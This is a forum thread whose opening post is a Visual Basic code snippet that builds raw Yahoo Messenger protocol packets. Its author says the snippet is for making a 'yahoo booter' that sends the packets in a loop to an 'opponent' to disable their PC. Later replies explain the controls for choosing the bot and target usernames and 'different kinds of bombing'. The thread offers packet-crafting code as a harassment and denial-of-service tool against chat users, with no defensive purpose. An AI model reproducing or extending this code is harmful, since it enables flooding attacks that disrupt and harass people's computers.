    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€snowflake;1À€64À€0À€" 
    	SnowIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function DilbertIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€dilbert;1À€64À€0À€" 
    	DilbertIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function HeartsIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€hearts;1À€64À€0À€" 
    	HeartsIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function ResidentEvilIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€re2;1À€64À€0À€" 
    	ResidentEvilIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function LeavesIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€leaves;1À€64À€0À€" 
    	LeavesIMV = DataHeader("06", pck) 
    	Debug.Print LeavesIMV 
    End Function 
    
    Public Function AmazingIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€mazing;1À€64À€0À€" 
    	AmazingIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function DoritosIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€doritosdd;1À€64À€0À€" 
    	DoritosIMV = DataHeader("06", pck) 
    	Debug.Print DoritosIMV 
    End Function 
    
    Public Function gmc2IMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€gmc2;1À€64À€0À€" 
    	gmc2IMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function Campbells2IMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€campbells2;1À€64À€0À€" 
    	Campbells2IMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function PeanutsIMV(YourBot As String, WhoTo As String, Message As String) As String 
    	Dim pck As String 
    	pck = "1À€" & YourBot & "À€5À€" & WhoTo & "À€14À€" & Message & "À€97À€1À€63À€Peanuts;1À€64À€0À€" 
    	PeanutsIMV = DataHeader("06", pck) 
    	Debug.Print 
    End Function 
    
    Public Function DataHeader(ByVal PacketType As String, ByVal Packet As String) As String 
    	Dim I As Integer 
    	Dim X As Integer 
    	X = 0 
    	I = Len(Packet) 
    	Do While I > 255 
    		I = I - 256 
    		X = X + 1 
    	Loop 
    	DataHeader = "YMSG" & Chr(0) & Chr(11) & String(2, 0) & Chr(X) & Chr(I) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & Packet 
    	Debug.Print DataHeader 
    End Function
     
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,285
    Likes Received:
    364
    Trophy Points:
    83
    Can you explain something about what the code is all about.
     
  3. kush_2207

    kush_2207 New Member

    Joined:
    Jun 26, 2007
    Messages:
    49
    Likes Received:
    1
    Trophy Points:
    0
    i am sorry for that....These are the VB function snippets which you can use to do the respective functions.....

    These functions are useful for coding your own yahoo booter. You can insert this snippets in your program and run a loop for sending these packets to the opponent and rest his pc for sometime lolzzz.

    Comments as always welcomed !
     
  4. kush_2207

    kush_2207 New Member

    Joined:
    Jun 26, 2007
    Messages:
    49
    Likes Received:
    1
    Trophy Points:
    0
    admin...please remove the spam !
     
  5. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,285
    Likes Received:
    364
    Trophy Points:
    83
    Removed and user banned.
     
  6. Bhullarz

    Bhullarz New Member

    Joined:
    Nov 15, 2006
    Messages:
    253
    Likes Received:
    13
    Trophy Points:
    0
    Occupation:
    System Manager
    Home Page:
    What are the controls required and which function is used for which purpose? Plz explain
     
  7. kush_2207

    kush_2207 New Member

    Joined:
    Jun 26, 2007
    Messages:
    49
    Likes Received:
    1
    Trophy Points:
    0
    Purpose of the function is in their names......
    For e.g. PeanutIMV will send a request to your chat-friend for enabling Peanut IMVironment.

    Controls required are -> 2-3 Textboxes for retrieving the usernames of bot and opponent....
    and options for doing different kinds of bombing......

    If you are acquainted with using Yahoo Booters.....Then you would be able to make it out easily....
     
  8. faizulhaque

    faizulhaque New Member

    Joined:
    May 23, 2008
    Messages:
    213
    Likes Received:
    3
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    Karachi
    Home Page:
    what an idea kush!
     
  9. Yoosha

    Yoosha New Member

    Joined:
    Jul 10, 2008
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Iran
    Home Page:
    Any body have a login packet or simple prog(YMsgr 8/9/...)?
     
  10. faizulhaque

    faizulhaque New Member

    Joined:
    May 23, 2008
    Messages:
    213
    Likes Received:
    3
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    Karachi
    Home Page:
  11. skp819

    skp819 New Member

    Joined:
    Dec 8, 2008
    Messages:
    89
    Likes Received:
    3
    Trophy Points:
    0
    This is very difficult to understand.
    you should explain that what you do in that coding.
     
  12. cocadew

    cocadew New Member

    Joined:
    May 10, 2010
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
    hmmmmmmmmmmmmmmm
     

Share This Page